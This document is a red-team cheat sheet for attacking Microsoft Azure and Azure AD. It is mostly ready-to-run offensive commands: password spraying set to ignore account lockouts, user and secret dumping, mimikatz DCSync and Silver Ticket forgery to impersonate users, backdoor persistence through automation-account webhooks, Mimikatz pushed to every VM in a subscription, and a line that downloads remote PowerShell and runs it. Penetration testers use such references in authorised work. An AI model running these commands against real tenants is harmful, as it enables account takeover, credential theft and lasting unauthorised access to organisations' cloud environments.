# Azure ## Summary * [Tools](#tools) * [Azure Architecture](#azure-architecture) * [Azure Storage Account - Access](#azure-storage-account----access) * [Azure AD vs Active Directory](#azure-ad-vs-active-directory) * [Azure AD - Enumeration](#azure-ad---enumeration) * [Azure AD - Password Spray](#azure-ad---password-spray) * [Azure AD - Convert GUID to SID](#azure-ad---convert-guid-to-sid) * [Azure AD - Sign in with a service principal](#azure-ad---sign-in-with-a-service-principal) * [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction) * [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync) * [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket) * [Azure AD - ADFS Federation Server ~Cloud Kerberos](#azure-ad---adfs-federation-server-cloud-kerberos) * [Azure AD - Persistence via Automation accounts](#azure-ad---persistence-via-automation-accounts) * [Azure VM - Execute command as NT SYSTEM with Contributor right](#azure-vm---execute-command-as-nt-system-with-contributor-right) * [Office365 - Enumerating Users](#office365---enumerating-users) * [References](#references) ## Tools :warning: 16 apr 2019 : BloodHound does not support any analysis with AzureAD. :warning: Tokens for Azure are cached in `C:\Users\[Name]\.Azure\accessTokens.json` * **PowerZure** - ```powershell require az module ! $ git clone https://github.com/hausec/PowerZure $ ipmo .\PowerZure $ Set-Subscription -Id [idgoeshere] # Reader $ Get-Runbook # Contributor $ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" $ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" $ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents $ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk # Owner $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` * **Azure CLI** - Default azure CLI ```powershell $ AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list $ curl -L https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add - $ sudo apt-get install apt-transport-https $ sudo apt-get update && sudo apt-get install azure-cli # dump users $ az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' ``` * **MicroBurst** - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping ```powershell $ git clone https://github.com/NetSPI/MicroBurst PS C:> Import-Module .\MicroBurst.psm1 PS C:> Import-Module .\Get-AzureDomainInfo.ps1 PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose ``` * **SkyArk** - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins. Require: - Read-Only permissions over Azure Directory (Tenant) - Read-Only permissions over Subscription - Require AZ and AzureAD module or administrator right ```powershell $ git clone https://github.com/cyberark/SkyArk $ powershell -ExecutionPolicy Bypass -NoProfile PS C> Import-Module .\SkyArk.ps1 -force PS C> Start-AzureStealth or in the Cloud Console PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') PS C> Scan-AzureAdmins ``` * **Azurite Explorer** and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud. ```powershell git clone https://github.com/mwrlabs/Azurite.git git clone https://github.com/FSecureLABS/Azurite git submodule init git submodule update PS> Import-Module AzureRM PS> Import-Module AzuriteExplorer.ps1 PS> Review-AzureRmSubscription PS> Review-CustomAzureRmSubscription ``` * **Azucar** : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks. ```powershell # You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` ## Azure Architecture ![Azure Architecture](https://miro.medium.com/max/880/0*-5NqtHX2C8arkwQG) * Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large * Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large * Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large * Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large ## Azure Storage Account - Access * Blobs – *.blob.core.windows.net ```powershell $ AzCopy /Source:https://myaccount.blob.core.windows.net/mycontainer /Dest:C:\myfolder /SourceKey:key /S ``` * File Services – *.file.core.windows.net * Data Tables – *.table.core.windows.net * Queues – *.queue.core.windows.net z ```powershell # https://github.com/NetSPI/MicroBurst S C:\> Invoke-EnumerateAzureBlobs -Base secure [-BingAPIKey 12345678901234567899876543210123] Found Storage Account - secure.blob.core.windows.net Found Storage Account - testsecure.blob.core.windows.net Found Storage Account - securetest.blob.core.windows.net Found Storage Account - securedata.blob.core.windows.net Found Storage Account - securefiles.blob.core.windows.net Found Storage Account - securefilestorage.blob.core.windows.net Found Storage Account - securestorageaccount.blob.core.windows.net Found Storage Account - securesql.blob.core.windows.net Found Storage Account - hrsecure.blob.core.windows.net Found Storage Account - secureit.blob.core.windows.net Found Storage Account - secureimages.blob.core.windows.net Found Storage Account - securestorage.blob.core.windows.net Bing Found Storage Account - notrealstorage.blob.core.windows.net Found Container - hrsecure.blob.core.windows.net/NETSPItest ``` ## Azure AD vs Active Directory | Active Directory | Azure AD | |---|---| | LDAP | REST API'S | | NTLM/Kerberos | OAuth/SAML/OpenID | | Structured directory (OU tree) | Flat structure | | GPO | No GPO's | | Super fine-tuned access controls | Predefined roles | | Domain/forest | Tenant | | Trusts | Guests | * Password Hash Syncronization (PHS) * Passwords from on-premise AD are sent to the cloud * Use replication via a service account created by AD Connect * Pass Through Authentication (PTA) * Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text * Connect Windows Server AD to Azure AD using Federation Server (ADFS) * Dir-Sync : Handled by on-premise Windows Server AD, sync username/password ## Azure AD - Enumeration > By default it is possible to query almost all the information about the directory as authenticated user, even when the Azure portal is restricted, using Azure AD Graph. ```powershell $ git clone https://github.com/dirkjanm/ROADtools $ pip install roadrecon $ roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout] $ roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa] $ roadrecon dump $ roadrecon gui ``` Can be used in BloodHound using the fork : https://github.com/dirkjanm/BloodHound-AzureAD ```powershell PS C:\> git clone https://github.com/adrecon/AzureADRecon.git PS C:\> Install-Module -Name AzureAD PS C:\> .\AzureADRecon.ps1 or PS C:\> $username = "username@fqdn" PS C:\> $passwd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force PS C:\> $creds = New-Object System.Management.Automation.PSCredential ($username, $passwd) PS C:\> .\AzureADRecon.ps1 -Credential $creds PS C:\>.\AzureADRecon.ps1 -GenExcel C:\AzureADRecon-Report- ``` ```powershell # Azure AD powershell module Get-AzureADDirectoryRole # MSOnline powershell module Get-MsolRole Get-MsolRoleMember -RoleObjectId XXXXXXXXXX-XXXX-XXXX... | fl #Connect to Azure AD using Powershell install-module azuread import-module azuread get-module azuread connect-azuread # Get list of users with role global admins# Note that role =! group $role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Company Administrator'} Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId # Get all groups and an example using filter Get-AzureADGroup Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" # Get Azure AD policy Get-AzureADPolicy # Get Azure AD roles with some examples Get-AzureADDirectoryRole Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Security Reader'} Get-AzureADDirectoryRoleTemplate # Get Azure AD SPNs Get-AzureADServicePrincipal # Log in using Azure CLI (this is not powershell) az login --allow-no-subscriptions # Get member list using Azure CLI az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='Company Administrators' # Get user list az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='username@domain.com' #PS script to get array of users / roles $roleUsers = @() $roles=Get-AzureADDirectoryRole ForEach($role in $roles) { $users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId ForEach($user in $users) { write-host $role.DisplayName,$user.DisplayName $obj = New-Object PSCustomObject $obj | Add-Member -type NoteProperty -name RoleName -value "" $obj | Add-Member -type NoteProperty -name UserDisplayName -value "" $obj | Add-Member -type NoteProperty -name IsAdSynced -value false $obj.RoleName=$role.DisplayName $obj.UserDisplayName=$user.DisplayName $obj.IsAdSynced=$user.DirSyncEnabled -eq $true $roleUsers+=$obj } } $roleUsers ### Enumeration using Microburst git clone https://github.com/NetSPI/MicroBurst/blob/master/Get-AzureADDomainInfo.ps1 Import-Module .\MicroBurst.psm1 # Anonymous enumeration Invoke-EnumerateAzureBlobs -Base company Invoke-EnumerateAzureSubDomains -base company -verbose # Authencticated enumeration Get-AzureADDomainInfo Get-AzureDomainInfo -folder MicroBurst -VerboseGet-MSOLDomainInfo Get-MSOLDomainInfo ``` With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD. 1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/) 2. Change your browser URL to: https://azure.microsoft.com/ 3. Pick the account from the active sessions 4. Select Azure Active Directory and enjoy! ## Azure AD - Password Spray ```powershell git clone https://github.com/dafthack/MSOLSpray Import-Module .\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme! # UserList - UserList file filled with usernames one-per-line in the format "user@domain.com" # Password - A single password that will be used to perform the password spray. # OutFile - A file to output valid results to. # Force - Forces the spray to continue and not stop when multiple account lockouts are detected. # URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. ``` ## Azure AD - Convert GUID to SID The user's AAD id is translated to SID by concatenating `"S-1–12–1-"` to the decimal representation of each section of the AAD Id. ```powershell GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)] SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)] ``` For example, the representation of `6aa89ecb-1f8f-4d92–810d-b0dce30b6c82` is `S-1–12–1–1789435595–1301421967–3702525313–2188119011` ## Azure AD - Sign in with a service principal https://docs.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-3.3.0&viewFallbackFrom=azurermps-6.5.0#sign-in-with-a-service-principal :warning: Service Principal accounts do not require MFA. Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges. * Password based authentication ```powershell # Use the service principal ID for the username $pscredential = Get-Credential Connect-AzAccount -ServicePrincipal -Credential $pscredential -Tenant $tenantId ``` * Certificate based authentication ```powershell Connect-AzAccount -ApplicationId $appId -Tenant $tenantId -CertificateThumbprint ``` ## Azure AD Connect - Password extraction Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally --- | --- | --- | --- | --- ADSyncDecrypt | Yes | Yes | No | No ADSyncGather | Yes | No | No | Yes ADSyncQuery | No (network RPC calls only) | No | Yes | Yes ```powershell git clone https://github.com/fox-it/adconnectdump # DCSync with AD Sync account ``` ## Azure AD Connect - MSOL Account's password and DCSync You can perform **DCSync** attack using the MSOL account. Prerequisite: * Compromise a server with Azure AD Connect service * Access to ADSyncAdmins or local Administrators groups Use the script **azuread_decrypt_msol.ps1** from @xpn : https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1 to recover the decrypted password for the MSOL account ## Azure AD Connect - Seamless Single Sign On Silver Ticket > Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA) :warning: The password of the AZUREADSSOACC account never changes. Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure 1. NTLM password hash of the AZUREADSSOACC account, e.g. `f9969e088b2c13d93833d0ce436c76dd`. ```powershell mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit ``` 2. AAD logon name of the user we want to impersonate, e.g. `elrond@contoso.com`. This is typically either his userPrincipalName or mail attribute from the on-prem AD. 3. SID of the user we want to impersonate, e.g. `S-1-5-21-2121516926-2695913149-3163778339-1234`. 4. Create the Silver Ticket and inject it into Kerberos cache: ```powershell mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit ``` 5. Launch Mozilla Firefox 6. Go to about:config and set the `network.negotiate-auth.trusted-uris preference` to value `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` 7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty. ## Azure AD - ADFS Federation Server ~Cloud Kerberos Discover Federation Servers * adfs * auth * fs * okta * ping * sso * sts OWA Version Discovery : autodiscover.domain.com ## Azure AD - Persistence via Automation accounts * Create a new Automation Account * "Create Azure Run As account": Yes * Import a new runbook that creates an AzureAD user with Owner permissions for the subscription* * Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst * Publish the runbook * Add a webhook to the runbook * Add the AzureAD module to the Automation account * Update the Azure Automation Modules * Assign "User Administrator" and "Subscription Owner" rights to the automation account * Eventually lose your access… * Trigger the webhook with a post request to create the new user ```powershell $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d" $AccountInfo = @(@{RequestBody=@{Username="BlogDemoUser";Password="Password123"}}) $body = ConvertTo-Json -InputObject $AccountInfo $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body ``` ## Azure VM - Execute command as NT SYSTEM with Contributor right > Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System ```powershell PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name ResourceGroupName Name ----------------- ---- TESTRESOURCES Remote-Test PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1 ``` Against the whole subscription using MicroBurst.ps1 ```powershell Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` ## Office365 - Enumerating Users NOTE: By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute. * Bruteforce user enum : https://bitbucket.org/grimhacker/office365userenum/src/master/ based on the endpoint https://login.microsoftonline.com/getuserrealm.srf?login=firstname.lastname@domain.com&xml=1 ```powershell RealmInfo Success="true"> 3 2 firstname.lastname@domain.com Federated domain.com -1 https://fws.domain.com/o365/visfed/intrdomain/se/?username=firstname.lastname%40domain.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx= ``` * Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon ## References * [An introduction to penetration testing Azure - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-azure/) * [Running POwershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/) * [Attacking Azure Cloud shell - Netspi](https://blog.netspi.com/attacking-azure-cloud-shell/) * [Maintaining Azure Persistence via automation accounts - Netspi](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/) * [Detecting an attacks on active directory with Azure - Smartspate](https://www.smartspate.com/detecting-an-attacks-on-active-directory-with-azure/) * [Azure AD Overview](https://www.youtube.com/watch?v=l_pnNpdxj20) * [Windows Azure Active Directory in plain English](https://www.youtube.com/watch?v=IcSATObaQZE) * [Building Free Active Directory Lab in Azure - @kamran.bilgrami](https://medium.com/@kamran.bilgrami/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f) * [Attacking Azure/Azure AD and introducing Powerzure - SpecterOps](https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a) * [Azure AD connect for RedTeam - @xpnsec](https://blog.xpnsec.com/azuread-connect-for-redteam/) * [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/) * [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/) * [Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/) * [Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020](https://medium.com/@talthemaor/moving-laterally-between-azure-ad-joined-machines-ed1f8871da56)